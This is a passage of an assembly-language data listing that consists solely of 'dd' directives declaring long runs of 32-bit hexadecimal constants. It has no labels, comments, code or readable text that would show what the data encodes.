dd 3259D927h, 52552816h, 0C7764AC6h, 0FF0C9430h, 0A5F3AA81h
dd 0EF1C7DD0h, 0C95724ECh, 23C01870h, 25934672h, 61A9FD25h
dd 28444AFCh, 0DFC9A2AAh, 18938435h, 59490F48h, 400DBAEBh
dd 1FA60411h, 25740C82h, 1BD2B5Ah, 0FE032C50h, 9653AB98h
dd 0BEDB18ECh, 87B31B8h, 0DE2EE8BEh, 0EB09BAD9h, 0C21CFF03h
dd 0CEBCB816h, 9D4600F4h, 3DC4B176h, 6F92F1EAh, 0C0415C2h
dd 45861418h, 623865E6h, 0FA48F137h, 13AE101Fh, 54C73BC5h
dd 2D7A43E9h, 200F42C6h, 4576A975h, 0BFB47B05h, 45165A74h
dd 6504F340h, 8943B40Fh, 2B681DC4h, 48218DA2h, 458EE886h
dd 0ACBE141Ah, 9C10120Dh
dd 275632ECh, 5868217Bh, 5444081Bh, 88692571h, 0A785AB68h
dd 45564722h, 730C8F2Eh, 0F1C06F0Fh, 90481C3Bh, 838BF80Eh
dd 0DB186BEDh, 0D7F18BBh, 2B058C28h, 0F59862C4h, 440F6FC8h
dd 9D813F45h, 31D824FAh, 0D83D44FCh, 0E2908A90h, 4CB1AAA5h
dd 37B5D46Fh, 4BC5C616h, 0DC235CEDh, 0A3C34CA9h, 0A5112029h
dd 0DC73E04Fh, 9A85F545h, 64C93320h, 82C1FFB4h, 80490D94h
dd 38101D20h, 3B844041h, 93ED72CEh, 2082BE98h, 18CC399h
dd 0A4558068h, 44D5FB45h, 0BF51264h, 4D0831F5h, 2D684740h
dd 7F666B7Ch, 5D48AA25h, 735760B1h, 0CC9C1B50h, 9862E47Bh
dd 0C813F42Eh, 0C24B16Ch, 4313A47h, 3823FF74h, 365E3129h
dd 28488641h, 0DE882FA8h, 1A506781h, 9CF84B21h, 57210291h
dd 58E7AC10h, 601513E8h, 46B51357h, 0BB564BFh, 48585714h
dd 9FAB07D2h, 7DFC25AAh, 0E595CAA4h, 318C2CCCh, 43B2FF98h
dd 0E101996h, 5E069919h, 78BD22C6h, 9A0CC36Dh, 0A19580Bh
dd 0A45C039Bh, 88B0068Fh, 0C80CB6ECh, 0B845D6DFh, 68124C68h
dd 779C3F09h, 1DA09705h, 7D18BDF2h, 0B8A815A2h, 0AA0D1064h
dd 86AC1E19h, 49E8B427h, 0CC5FC2A3h, 34133868h, 81DBDC36h
dd 234333D2h, 94306623h, 0FCF3DAE8h, 3E994466h, 6D4837AAh
dd 45E4A157h, 12EBC005h, 0FFC1A859h, 0FF09740Ch, 6F60A9Bh
dd 80F775E0h, 9F20BB35h, 7E5E30B0h, 4F8AB574h, 0B460CCC2h
dd 0B1B6D68Ah, 0B00E4168h, 0EB403666h, 53AFB0F9h, 47F2D08h
dd 0EBC60304h, 50DA8302h, 0A6E89709h, 9F7D7A42h, 752D3670h
dd 0F038550Eh, 0FE5FF0E9h, 0C37BC3C9h, 3F09AB69h, 0ACC86856h
dd 8A871875h, 10FD9114h, 73438940h, 87B1B0Ch, 4CA0D8Bh
dd 0D6BF199Bh, 3C453A10h, 0AE2A2918h, 11C5AABAh, 0C66A08BCh
dd 753410C4h, 9F0215FBh, 0B0B980F8h, 9561791h, 0D068C303h
dd 4222DA98h, 0CC0C5184h, 8D4640B0h, 0D2A51834h, 0E3F4E21Dh
dd 0D89DB5A1h, 7E8C3946h, 60D8B04h, 53DB1CA6h, 0C644227Eh
dd 19B600A5h, 128A9CC0h, 2024A10h, 0AA6AD979h, 0D06DE25Fh
dd 863F77F5h, 1EA4E10Ah, 501BE46h, 0EB183C89h, 4BD2006h
dd 6A19619Fh, 0E0458041h, 62A45991h, 898E8A4Dh, 0E1150623h
dd 3AE26409h, 0EAD99101h, 0F40B9358h, 0EC7E17AFh, 0CF00D6FBh
dd 1BD9F6E0h, 83530BC9h, 0D5AE02E1h, 0C619C1C3h, 603D8048h
dd 0F64D899Ch, 0E316C559h, 0CEE4C903h, 10E4FD40h, 0EC8B058Ah
dd 0FA40EED1h, 4A8722Eh, 0F4C48362h, 0B5885E48h, 0F10E730Ch
dd 0B7334D59h, 15A4E45Ah, 8B09E8B9h, 0A51845C6h, 0FADD4430h
dd 0CE73095h, 0CD10A950h, 7FC3F909h, 7D1932B3h, 0D42BAC0Ch
dd 0FF1B8514h, 0BC881D7Eh, 97C62B88h, 748B045Ch, 0C138FD43h
dd 3B09460Bh, 7FE37CF7h, 0A7C33E49h, 62B7DEB5h, 6242010h
dd 803F228Dh, 74574809h, 41903574h, 9F647AEFh, 18BFDCFFh
dd 67D86C5Eh, 22D1BD67h, 1169068Ch, 14ACCBC6h, 85BBFA74h
dd 0D1EB03E0h, 5FA4FA1Ah, 68286E45h, 0F49DCB7Ah, 14C02470h
dd 0E94B94B7h, 886668D9h, 7D404A09h, 7F4D3BBh, 25088768h
dd 0B16DB8F4h, 0F22D9D28h, 126C0774h, 665DD9F4h, 0CBC2F50h
dd 0BAC33BC5h, 46A18D9h, 196B885Eh, 0AA1C202Fh, 0AC72BF89h
dd 39C6562Fh, 0F02F1290h, 41E966DFh, 0E842A60Ch, 1FF28664h
dd 0C31F231h, 0E5ACAA75h, 0B2D4682Eh, 8247D56Fh, 0B46ADA74h
dd 5DDE8239h, 48C598E1h, 752D0234h, 0F013E0BCh, 5F5CAC6Bh
dd 0D215BC56h, 0EC921ACh, 0D3812307h, 0C01F012Ch, 756C9D0Fh
dd 4531E18h, 46BF876Ch, 0AC682057h, 50409174h, 0A16BE937h
dd 4D32FD39h, 3B92D877h, 26A757F3h, 0C5D0880h, 6A267B76h
dd 93130A20h, 848ACDC0h, 9D96F580h, 8DA4159h, 6A0E0488h
dd 0E372B8D0h, 835C0AEBh, 0C12B7FFEh, 2056A50h, 31933568h
dd 28264B10h, 4245512Ah, 5998C07Bh, 804C048Dh, 21B0183Dh
dd 890D755Bh, 6638568Ah, 0C3A40F5Ah, 0F8D64A72h, 0A008B7C7h
dd 44919F9Ch, 542C236Ah, 6544A9F9h, 95FAA4D8h, 0FBBB70C3h
dd 0AE1E54EFh, 0A23B5AF5h, 8EE80924h, 0FAEC5D3Eh, 0CDEB2D8h
dd 74799767h, 3F86D2ADh, 100546F6h, 0AA563675h, 0EED2B0F2h
dd 30E8275Fh, 47F7F84Ah, 66E56462h, 3B03DAD1h, 22CF74F8h
dd 99ACD1Ah, 160AEB32h, 625B13A0h, 26342BACh, 0C7E10F65h
dd 31A9EB45h, 80530A2h, 57BE5157h, 0B4774E60h, 0AC4FBBC9h
dd 522BCDE2h, 188C0D0Dh, 5DCF3DAFh, 10A60879h, 0A77DA0C8h
dd 6AB510DFh, 1059423Fh, 880EFCD1h, 0FBD6D095h, 5274666h
dd 5588ED7Dh, 12FB34ECh, 4859BB0Fh, 0F403E806h, 2E66C3A1h
dd 3285C5F2h, 0FA644B04h, 3D8898DDh, 49E5BD66h, 54041909h
dd 1810C59Dh, 0CCBF6A22h, 49509BA9h, 0B05B642Bh, 792A8655h
dd 0D7E29FC3h, 8A48B849h, 0FCC41A96h, 0AE5DBA16h, 1D8EA4EAh
dd 94687945h, 0CE6C2778h, 531A166h, 1175ADC0h, 0D6F4BC3Ah
dd 0E91D8F18h, 329BD971h, 86E81CACh, 5822A442h, 429DC6BDh
dd 0E8447A78h, 982DA96Eh, 68280A08h, 32542690h, 428C8412h
dd 9120217Ch, 10619C74h, 0AD5CC80Eh, 186C5F5Eh, 421EA450h
dd 1F01048h, 758B3C88h, 0D93BFF7Bh, 0FFD085C7h, 89E43C98h
dd 2868F0D8h, 0A9F93FD6h, 4D3C7A16h, 383CB636h, 1150328Bh
dd 0E40584DCh, 58244926h, 0FC64CE3Ah, 0DDD5EE12h, 5B59360Dh
dd 76FB82Ah, 0D4658A1Ch, 5168B53Ch, 0ECE52294h, 38917171h
dd 6813543Dh, 21832052h, 8914906Dh, 229D9E78h, 0F8413BF1h
dd 4584A21h, 0B46FE96Ah, 2DD9EB8Eh, 0ED17C30Ch, 944BEA05h
dd 13A4D8EAh, 499851BCh, 1A779534h, 48A30868h, 873BD259h
dd 1C19E93Fh, 64272D56h, 0E929F6C4h, 0FC888017h, 850F0676h
dd 683D191Dh, 0F299CCF4h, 46409692h, 63E7C416h, 0D189EC12h
dd 0FD3068D5h, 4B374ACCh, 0AA2E2462h, 1BEDC61h, 894B5B37h
dd 21DE0EFDh, 19AE213h, 100D4314h, 0FAF33AE5h, 0B4DE23ECh
dd 2142143Dh, 0C7680E3h, 8F3A43EFh, 21E59073h, 6C6342B3h
dd 65B49B77h, 11288211h, 0B6A2DC82h, 0FF73996h, 0A90BDC40h
dd 51631C2Fh, 577F1C64h, 0B82AE6F8h, 6C29A1E0h, 0AE1AF0Ch
dd 584D698Ah, 88D39EDh, 242A62BEh, 4F8B22A5h, 0B79316FBh
dd 948F16D2h, 0A6F22210h, 7745479Eh, 0A8DB093Eh, 96E43F10h
dd 0C68D43A9h, 0EF405284h, 891D5787h, 7E59CFD7h, 0BB07E29Bh
dd 0E36B1411h, 37EB85EEh, 8234BB08h, 2C682F75h, 0B221709Ch
dd 6C36C439h, 4624907h, 712F248Ah, 7230F83h, 0C61D862h
dd 0DA8AA50Ch, 0ACC05EAAh, 65BFB47Fh, 896BFCBDh, 69CB0E32h
dd 800CE662h, 810139FDh, 0B66228BEh, 0A83AC5BCh, 1195CB61h
dd 12CF011Bh, 0E6982235h, 0CD07E8Fh, 85FA920Ch, 0E8A6886Eh
dd 0EEBF3BE8h, 0E2E94A49h, 1BECCA60h, 3A38848Ah, 19BB5A51h
dd 0D0640D53h, 428D502Bh, 69748878h, 0BB950C50h, 9AF138A3h
dd 0D3178843h, 3AC931F4h, 0EFE37518h, 0FE10FBADh, 0DC68C55Ch
dd 7A0A1D4Ah, 8D37E058h, 0F060B108h, 5DB460FAh, 752D74C3h
dd 362856EDh, 727DA514h, 5719D8B2h, 55F2AA14h, 0EEFC4025h
dd 0C2795C69h, 4FFD01B0h, 4250150Ah, 0F377A15h, 976C7878h
dd 4269AC7Eh, 6BF95592h, 0E4B8EC32h, 0FBFF4E41h, 78247431h
dd 695E8011h, 7C904F22h, 7F2574F6h, 87446B56h, 2448F2F4h
dd 0A19A0218h, 946E9758h, 3C147431h, 0C2075FE1h, 2EFD8147h
dd 0AB7206DBh, 0E876B52Ah
dd 8CFE5008h, 0EB0A90A5h, 828B6A29h, 0C60475A5h, 98FC2254h
dd 91B8E6BEh, 6993A4DBh, 59742803h, 7B35DE4Bh, 4A2086FAh
dd 560518FEh, 40D6E068h, 8E528705h, 7322AB6h, 10127BCCh
dd 9878834Ch, 0C474374Bh, 45D80B6Eh, 3A456B86h, 0E5ABBC2Fh
dd 0C63584BFh, 19D83378h, 0A454E676h, 427524BFh, 64C46F14h
dd 0FBDCBF36h, 0F67C9731h, 62FBFCA5h, 7A0C6706h, 0ED69559h
dd 3068E24Eh, 40221478h, 89C455DEh, 84F1B37Ah, 649F0D7Ch
dd 84FB8810h, 2F673616h, 7BED311h, 19565EBCh, 0AD3165D7h
dd 4B9003F0h, 8034D21h, 0BA42FA88h, 990682B2h, 0D9717555h
dd 0E914C411h, 14073D35h, 0E2758966h, 7375456Ah, 31C694CFh
dd 0C8609CD6h, 3BDC9D84h, 0F7C757E3h, 915A73E8h, 0E3EE7B34h
dd 0DBE4623Bh, 466F5302h, 594FC7A4h, 82D49BFh, 0B7F2C17Dh
dd 82593DA8h, 8CA5B1C3h, 78A822E2h, 9B7A213h, 2BB54477h
dd 19DA3582h, 46531158h, 0EC7D7612h, 681B6D62h, 6818C680h
dd 91BC7934h, 72F85B2Dh, 4FC47740h, 4DAE8034h, 0F2B758FCh
dd 0D4453BAEh, 0F284850Bh, 1274F793h, 0A16B8845h, 7D111729h
dd 67BC3A12h, 8E6B4F93h, 0EC5E8735h, 54B98A1Dh, 30858802h
dd 1A9244FDh, 1131BD8Dh, 0C4C9BC7Eh, 8D5695E0h, 8488DC46h
dd 95828677h, 0E3DD861Bh, 3B862C0Dh, 9D388141h, 8821E45h
dd 46E37CAAh, 94F31935h, 0C8AE9B1Ah, 84A536h, 0A0BF0234h
dd 46687E78h, 575A2537h, 3495215Fh, 0E9FB794Dh, 8846EAE9h
dd 619F8B9Ah, 7150F846h, 6168136Ah, 66E9618Ch, 9062701h
dd 0BB346AE8h, 0A545C501h, 0B3239D88h, 0B122E5C6h, 2D2DD903h
dd 322A270Ch, 0F8334586h, 55A834E8h, 4D2D8D1Ch, 0CBE650DCh
dd 0BFF051AFh, 0E9EEE986h, 0C8A81152h, 8F51104h, 0BB378D8Ah
dd 8015AE53h, 75A05EF9h, 0C012FE12h, 241DC932h, 5C80772Ah
dd 0FE290EEBh, 8D9010C1h, 0C0B60F82h, 0E0D622FFh, 44274108h
dd 2A10FED3h, 84DF5009h, 33B721B3h, 0E850A6E8h, 9933539Bh
dd 27E98B29h, 47293BC4h, 546B9B04h, 0FB3B4320h, 0BB8B77B1h
dd 1EF8C884h, 7D096F72h, 0B0FC84E0h, 0B17B4AC8h, 0C73B0B77h
dd 8A5BB706h, 12B46828h, 8E6E5842h, 6E821973h, 24FC2BE0h
dd 8BB4A8D9h, 7577EBC4h, 47E3C8B3h, 80257CEEh, 0B29DAE78h
dd 4365A2DCh, 6BEB24B4h, 45680970h, 987B1444h, 5848399Ch
dd 0A8841318h, 0C501CFC9h, 590332DCh, 8DBC3ADEh, 8804026Bh
dd 8C3622FBh, 0BF03162Bh, 760B3B73h, 8EE1D32h, 0D0D96318h
dd 89A210Bh, 33788AD6h, 39563BD2h, 24760C89h, 0BA55135Dh
dd 9072DD17h, 2F32023Bh, 3AF68718h, 11743190h, 2E3B6141h
dd 0DB42F272h, 0DC694876h, 119453A6h, 0DCB84EF8h, 1325BA7Ah
dd 0BBB82D75h, 4539FB46h, 68606040h, 84685008h, 23F87A5Fh
dd 0E7E8C49Fh, 0C68BFC31h, 0EC418F9Eh, 0D8863BEh, 6D3262EBh
dd 3BC66702h, 79BC31D4h, 7D8EB41Ch, 0C68188BEh, 442BC042h
dd 0F4731360h, 31AB59F8h, 8E83289Ch, 64869E2Ah, 0AC3752F1h
dd 0DF02E22Bh, 50CE66EAh, 6FF9037Fh, 341836E4h, 0FE609FE8h
dd 7C905E2h, 0B053725h, 29F71CF2h, 2294D71Ch, 87C2515Ah
dd 72D8831Ch, 0DA607729h, 548C6DDBh, 0FC5A4544h, 68166FB3h
dd 0F9F0C9E4h, 24A37AFEh, 64951820h, 9BD42D0h, 27E8681Ch
dd 0EE535669h, 0A11A0D30h, 78167CB8h, 7AED9C2Eh, 4E99F1BFh
dd 74200624h, 884AE8D3h, 0F20667EEh, 1D8C8B22h, 869F3335h
dd 0E74A1CF9h, 8566224Ch, 860F740Fh, 0CA18D052h, 0C4FA389h
dd 5363B5EBh, 35246FCh, 90C76B3h, 2BB51D8Ah, 0A35D5588h
dd 575F91CEh, 282BFD69h, 11129F3Eh, 0D88A1B3Fh, 2C459D47h
dd 0AB1FD5EBh, 0B4125E4Ah, 0DC0C760Bh, 30C882B2h, 0DD604019h
dd 0DB0F472h, 145B1C27h, 0B38C4A60h, 89082817h, 0CFAFE81Ah
dd 0ADF15D7Ch, 5D17A49Ah, 0F046ADF2h, 882D8E8Ch, 0F0354412h
dd 4FADCAEFh, 0D3D061FEh, 0BE8C892Fh, 45CCE47Ch, 38792074h
dd 0D4177B50h, 0D15A578Ah, 0A41C852Eh, 0BA2FAC62h, 725A5722h
dd 14588121h, 40B18D28h, 61286B02h, 869E41BCh, 72755BF8h
dd 8E202016h, 111D8928h, 0B8647414h, 0BF874B0Dh, 0FA30FF72h
dd 64E815D2h, 0CE7DB474h, 0AF7C016h, 9737C21h, 30DD7453h
dd 0A1D030A2h, 2702C009h, 0F016243Ah, 4E6B41CDh, 0C6E11318h
dd 41BE390Ch, 40868D4Fh, 0EBAB7506h, 0C0CC0664h, 602E45Ah
dd 63585D75h, 0BFB8DBB5h, 0D2382FAFh, 0D6B44874h, 0E6FC5744h
dd 0C8FDC012h, 3AE32F26h, 248FDCA9h, 0DC9015B4h, 1057A5C4h
dd 1809B226h, 0D826EB1Ch, 2E103057h, 0A85ED848h, 24BAA573h
dd 1D36BFFCh, 38F0456Fh, 33BC9324h, 2809B35Bh, 6C974F04h
dd 2C1EDAA4h, 20D71FAAh, 7DC620A4h, 0B9427414h, 518B0B07h
dd 1F4D7CF8h, 830A8008h, 39403AC1h, 0EF0775E2h, 0C06B2AEBh
dd 0E74875A9h, 9867B88Dh, 8ADA6A43h, 0EF47E80Dh, 21520C92h
dd 9013C6DAh, 9924912h, 0C1705E38h, 1623197h, 5691203Eh
dd 2A4AC083h, 7232435Ah, 3BA69EC5h, 6D31FACFh, 0A77E4E15h
dd 16132907h, 440C6804h, 4ED77288h, 993EB92Dh, 74714627h
dd 0C2D3833h, 58C24A79h, 2CC775AFh, 4C44CE32h, 0E849C4E4h
dd 141B947Bh, 0BD96BD9Bh, 2DA716AAh, 0AF5D61EEh, 32B122CEh
dd 22A612D3h, 44F103BFh, 0FEFDBC09h, 4D99C620h, 11249CC9h
dd 3F5BB34h, 538A6479h, 56B6094Eh, 70743A30h, 0A4BF5EC8h
dd 332C4C63h, 71986A8Ah, 7CFA2738h, 3B00F8B0h, 763D74C1h
dd 51948B11h, 0E860540Dh, 974FFCE6h, 0EF1301DEh, 11023784h
dd 9350036Ah, 16D6226Eh, 404C5652h, 0A861F7Ah, 5711EB18h
dd 26514621h, 95760C43h, 3C42627Ch, 421BDC0Fh, 778236EBh
dd 63D9FD2Dh, 2C682984h, 0E3328094h, 9D17660Ch, 6289AC32h
dd 453C7CD1h, 0A4253438h, 2C291EFFh, 0EE060848h, 3FE8A673h
dd 54C45301h, 0F84F458Eh, 0B43C3B08h, 5B7CF080h, 0BC4EB5E8h
dd 0B88122FEh, 5C8E5727h, 0A9D89CAh, 0D3B07F27h, 0E7907556h
dd 0C4FC1720h, 0B6FD950Ch, 8D4405D9h, 0B94ABC4Dh, 442D10B8h
dd 74561F78h, 0FC808A32h, 6827C1ADh, 9DBC0C30h, 0FD2A432Eh
dd 0BFB3EFA9h, 0A062489Fh, 0B22854BDh, 0CAC4B862h, 45F1572Ch
dd 313851A5h, 42FBA43Ah, 44132273h, 89C473ACh, 44320D45h
dd 850D7340h, 0C4CB3490h, 5B752FE9h, 694A8873h, 44379EFDh
dd 682F57B0h, 2319B6ADh, 531A2B61h, 0A4A3D911h, 4CBF42CDh
dd 1365C051h, 0D61164E6h, 59975E84h, 84C82A0Ah, 42DD962Dh
dd 7D38105Ah, 16AD0986h, 68F82184h, 0E82DEEA4h, 6BF2FEE5h
dd 758ABE65h, 0C268AB32h, 0C44D7A0Bh, 20F5B6FAh, 0E04BDBh
dd 68561A6Eh, 839CE8E1h, 3982580Bh, 0C941CBD6h, 0EB115381h
dd 105A8BC2h, 15F0C54Fh, 0CA9C8C4Ah, 0E5DE5F5Eh, 0E8D83051h
dd 0B0BF2A87h, 4E74FC06h, 0E634AF7Dh, 9DE87BEh, 401FB82h
dd 11F08909h, 4796BC6Ah, 0B1B614EBh, 28C9F012h, 0D29F7461h
dd 270B649Ch, 981675DDh, 5D0A4709h, 9BEA45ACh, 80892E4Fh
dd 440A1A97h, 0F55AE095h, 38066438h, 4D918BE8h, 0EE7D7089h
dd 0E951223Ah, 0D6829C25h, 0D2DF5ABDh, 8575B1BBh, 0CCBE5645h
dd 0F85E4676h, 29031BB2h, 0FC668306h, 0D9985834h, 2A89AB0Ch
dd 0B8F44E74h, 43BE307Ch, 0C2087983h, 0DA3B0E5Ah, 82018FA7h
dd 9DE942DFh, 0C62630EBh, 729743EAh, 0F7C25B99h, 0ED0826FCh
dd 68166AC0h, 316BFB88h
dd 0AE526CCFh, 0E1510F92h, 9B1475F6h, 82018620h, 0BF06284h
dd 92D7F831h, 2D564AE8h, 7C496A1Ah, 91557365h, 0C63B195Ch
dd 88105410h, 2BA2059Ch, 80683110h, 0F050C9CBh, 92E817EFh
dd 9134CD29h, 0A2482F4Ah, 0BFBEF817h, 0A4516D4Ch, 729F25E8h
dd 1411A6C5h, 4A9F555Bh, 60728913h, 0FB3B0C41h, 47EE30D0h
dd 24712218h, 35380D6Ah, 271B1B1h, 25EC42B0h, 63757CC5h
dd 0FC2EF4BBh, 8AC57695h, 0BF205C68h, 29421440h, 5823A05Ah
dd 75303962h, 0C2D2D50Eh, 0E99FAD65h, 455939B9h, 1775050Dh
dd 7004D529h, 1F6FEB87h, 3CF23F1Eh, 2CB2F8Fh, 63B768Ch
dd 48E45C9Dh, 937C1621h, 155A7997h, 280617E0h, 175F5468h
dd 0AD2CC6E8h, 0EB5ECD0Eh, 48687C01h, 289F1951h, 404C87B2h
dd 9E69614Eh, 20E5A51h, 1BDEF718h, 0AC6046F6h, 16137501h
dd 0EC10076Ah, 4680CA1Eh, 0A1E718E6h, 8D6F06B9h, 6E27218Dh
dd 0EB9562B0h, 5C05BAF7h, 70ADAC9Fh, 6881014Ch, 620B0545h
dd 27B8FFB4h, 6B8C27DDh, 0E92311CFh, 337DF2B5h, 86474324h
dd 5317F646h, 0C4221250h, 4534F4B5h, 44123110h, 0EBE90150h
dd 0BD1A0A22h, 3E4121EEh, 0D1194C18h, 5139FD40h, 0A2F1485h
dd 9A21BF0Bh, 0BA05DB76h, 0FAEA0A11h, 45C6C450h, 1A244DEBh
dd 3535B20Dh, 0A17AFD2Eh, 0ECF3C6CFh, 1BEA9822h, 0E3B8A3Bh
dd 2DE8447Ah, 0AB5E2713h, 2CA22367h, 0AB178DFBh, 10AFC5EBh
dd 0AE9320C1h, 45220F26h, 66BC54EEh, 9522EAE9h, 158885E6h
dd 0C9A8413h, 0E8DD1C09h, 0A519EB75h, 4712118Ah, 641A2F6Ah
dd 2FB28E1Eh, 17D64F76h, 5A00787Ah, 688D4407h, 12F3B2C9h
dd 4F71FD0Ch, 8018268Eh, 185C91A6h, 6B9AC4E7h, 7423D8EBh
dd 0DE7E1B49h, 0A7CCFB92h, 12A6A678h, 0D08AE90Ch, 98BFF6EDh
dd 0D8455F94h, 0A32F25F0h, 1214643Fh, 8FC4EE4Fh, 10444834h
dd 1BAD2A82h, 0E8506C9h, 0D0A580C7h, 38EBF66Bh, 0C4851B97h
dd 89B6B2A5h, 89178241h, 0D608BB5h, 190989E5h, 47086E95h
dd 200CD72Ah, 8312C6FCh, 0D58782A5h, 0A968130Ah, 9525B950h
dd 104E006Ch, 6E7E5421h, 66CBF828h, 0C142F373h, 68CF13FAh
dd 0D9332CECh, 0DF92D46h, 0E3293ADAh, 4AA10D7Eh, 2F181CB4h
dd 0BD6D3DA2h, 83A9ECEEh, 0FDE8102Eh, 5563AA49h, 0C27562Ch
dd 7EEB11FFh, 30C4EB28h, 198B0903h, 0E062532Ah, 0F6409338h
dd 1324013h, 0BFD35AAh, 0E4254368h, 0F76C82C8h, 5A1742FEh
dd 801D3DA8h, 8914F87Dh, 7482D58Dh, 468B14h, 32568404h
dd 0D2C20975h, 26169359h, 5A2B940h, 62CA8B08h, 3A0CBA0Eh
dd 833D8E03h, 367515F9h, 28045896h, 0EB070F95h, 0BD458A2Ah
dd 80CA5D30h, 9371ED65h, 0BE410BE9h, 0AF23FE32h, 0CA05C63Eh
dd 590CE801h, 300B3ECAh, 42D98817h, 0B82ABD3Ah, 81C7C534h
dd 9047B555h, 53263BC7h, 9A8B89FBh, 148A601Bh, 82302668h
dd 247A4298h, 0A32FD9D2h, 0A1DBD981h, 30FAFB31h, 0F8687690h
dd 33368150h, 8C16A66Eh, 523965DBh, 0AF5ADB9Dh, 99A13053h
dd 4DD76F2Ch, 2BAF2923h, 0B6506516h, 0B2A59240h, 0BC2F97E5h
dd 632B8E7Ah, 7B09E8F4h, 688D5041h, 69C71403h, 3B033FC9h
dd 76830FC1h, 0D5AA4352h, 23B687A3h, 0BD3E120Eh, 0A1C68026h
dd 0E463260Ch, 0D2AE3551h, 0DCF88B70h, 5357CC8Ch, 49F9122Fh
dd 2712EC36h, 5CB14842h, 2383EC1Bh, 82E386A5h, 3403FE4Ah
dd 662D2AB5h, 0E8139BD0h, 18354892h, 0A0C3ED08h, 491B2711h
dd 26C8F7CCh, 0F84542B0h, 0B92B2C2h, 0BF4EC782h, 574C54C4h
dd 302327E3h, 3874F07Fh, 1CD08DCEh, 0CCA9E57h, 7DE722FEh
dd 2CA8F058h, 2228B1D6h, 813E5F24h, 0E39CCA38h, 0DA68CC08h
dd 0A67EB3Dh, 0CBB253C1h, 0FAECC447h, 0A7B19393h, 484A2925h
dd 3AB1F8CCh, 951442C6h, 87E37412h, 500AAE19h, 0E4A86A1Dh
dd 0A48B31E4h, 548B362Ah, 1639CAEh, 0DD3DE9CCh, 9AC9FAB8h
dd 0C6810912h, 7BFE5AE9h, 0FB3C8F37h, 0EB4912Bh, 0B13351F0h
dd 0DF5B08D4h, 7EB76D79h, 82887247h, 0CA05163h, 4E048A28h
dd 32715384h, 76447BB9h, 5B9781FAh, 0D271695Fh, 0BE5B51ACh
dd 99861D28h, 92109308h, 2B467B0Eh, 5F670925h, 89274311h
dd 393FB516h, 35B16169h, 3EBE1460h, 6F7489E4h, 0E842C455h
dd 0E6D7220Fh, 4AEB01C7h, 7D983D80h, 454A0641h, 84A5783Ch
dd 0A5AFF08Bh, 2187C8F9h, 0B9053BFh, 8EBC2A7h, 0E0BBD1CDh
dd 89A27225h, 8B41E1B0h, 0AEF85DCEh, 2E9D219h, 0B7468975h
dd 7574E6C4h, 7610C505h, 180D4503h, 2244AEBEh, 0FFB90E74h
dd 6F21A015h, 37EB6979h, 32C0CE43h, 81690972h, 0F5CCA0Ch
dd 1C1CF02Dh, 9E0111BEh, 0C473E888h, 0B75A2714h, 0EF59749Bh
dd 0E9670204h, 0E81C9544h, 7D2D20F7h, 25D76632h, 0EEF9680Fh
dd 47E8D09h, 0E885AD74h, 0D29365D9h, 0DD9EF30Eh, 102491B2h
dd 23C81AE2h, 5495B2F8h, 8689C15Bh, 62232A1Ah, 1E122118h
dd 22221490h, 264B8D7Fh, 4BA764C8h, 5535A620h, 382C5176h
dd 38A5F681h, 0FD90A118h, 533B42B6h, 625C7261h, 96563BF1h
dd 9D81EE23h, 240878FFh, 88588B9Ch, 0C718B504h, 438E0327h
dd 204F1178h, 2260418Ah, 0B14F9214h, 62FC1C0Dh, 0E8A5E0D8h
dd 88A25E26h, 199933C6h, 88FB7C08h, 78A53F54h, 406D25Ah
dd 0EA698D55h, 0F03CE3A3h, 0CDF44A73h, 9EFF0179h, 14FC0501h
dd 753BB953h, 0A42F4BCBh, 0E07F9875h, 92C2E11Fh, 1009DF0Dh
dd 0DF310344h, 0B785BBC0h, 28D30C52h, 21A01F85h, 49FE1413h
dd 8445B012h, 0A84A610h, 82D5253Eh, 93BD81D1h, 1D8453AEh
dd 1514A262h, 438958Bh, 23242F6h, 623F85A6h, 834FBD44h
dd 42242A26h, 0E484C802h, 8CD37503h, 74DA1C4Bh, 0F85D40Ch
dd 0EBD30233h, 87E38AFBh, 9D314F76h, 0A5800D94h, 99992BF2h
dd 709C6FCh, 188AC673h, 71E80102h, 0A29B53F4h, 3548ED29h
dd 0B895448Dh, 0BBAA13FAh, 0C823AA21h, 0E0B1CA03h, 0B0D02B51h
dd 4A11E8F0h, 498E646h, 6974DF3Bh, 0E8099FE2h, 39B01EBEh
dd 582974F7h, 17A2FF8Dh, 0B1E3E0BDh, 0BC7AB91Eh, 5E884DDDh
dd 52762D08h, 47554348h, 87482283h, 7BED48B2h, 0A49081A9h
dd 0D868D3D8h, 69420096h, 0B9A7DA0h, 0D03A8E84h, 2E78396Fh
dd 69850F0Bh, 0A996F1FEh, 99BA4C8h, 0CB5667CBh, 684F0C4h
dd 1E460399h, 81029F50h, 0F411FE2Bh, 11223B75h, 915494CAh
dd 110B5815h, 0AE10FB78h, 0D9188B77h, 0C6DF49F6h, 68504C9Ah
dd 1DE5E8C2h, 3FE1917Eh, 0A93E8068h, 910C8B6h, 0C6D562CAh
dd 7EF9B568h, 6182BB2h, 99C75DC3h, 755B3868h, 0F4618118h
dd 0F24C3689h, 8DB0B710h, 0DC8A03BCh, 0FE44588Bh, 1D8B2384h
dd 42117D1Bh, 6C10A829h, 235A8D83h, 388FC628h, 748B2033h
dd 0BE4C5667h, 6AC6C293h, 47D95F12h, 0A0F64317h, 0BE592F79h
dd 4443A9EEh, 218B562Bh, 0B670270Fh, 51895C98h, 0E1FB140Fh
dd 1F25086Ch, 380C1286h, 5C9165Dh, 0CD2A5E05h, 3BB07A7Dh
dd 3748F7A2h, 0FAD49788h, 0E8834890h, 8F299EE3h, 0A93DAFB5h
dd 0C96D17Ch, 0BCC4BAA6h, 0F5A2BA1Ch, 0C4D60A1h, 11834684h
dd 2812F727h, 0B40E6875h, 329D0241h, 0E20EA4B1h, 7D10FD4Ch
dd 6F6F8C1Ch, 0D82AA11h, 0FE56B504h, 50C9AEE8h, 13D157E6h
dd 4387172Ah, 63746398h, 45081A33h, 5263DD76h, 0F4C62B61h
dd 299030B9h, 10F0A6D2h, 19858408h, 0C1BEAC9Eh, 0F27D803Eh
dd 2A3875C0h, 283220E8h
dd 8D64853Bh, 7720237h, 0BCA9D068h, 0A01DB9F6h, 0FE5A08E1h
dd 0EC9DD942h, 0AEB55263h, 0B775A540h, 0F549EEDBh, 0AC45AC6Eh
dd 7B48E13Ah, 0BB056001h, 913A3550h, 7E1BF26Eh, 91324CE6h
dd 0D9DF3D37h, 0EB86134Bh, 4B74D28Ch, 0D03F440Dh, 0F88B461Bh
dd 32C4B7E0h, 6AE90395h, 91FAA581h, 23627700h, 58E80923h
dd 3864141Bh, 8D4D6851h, 444BAED3h, 4A98FA3Eh, 4424BA06h
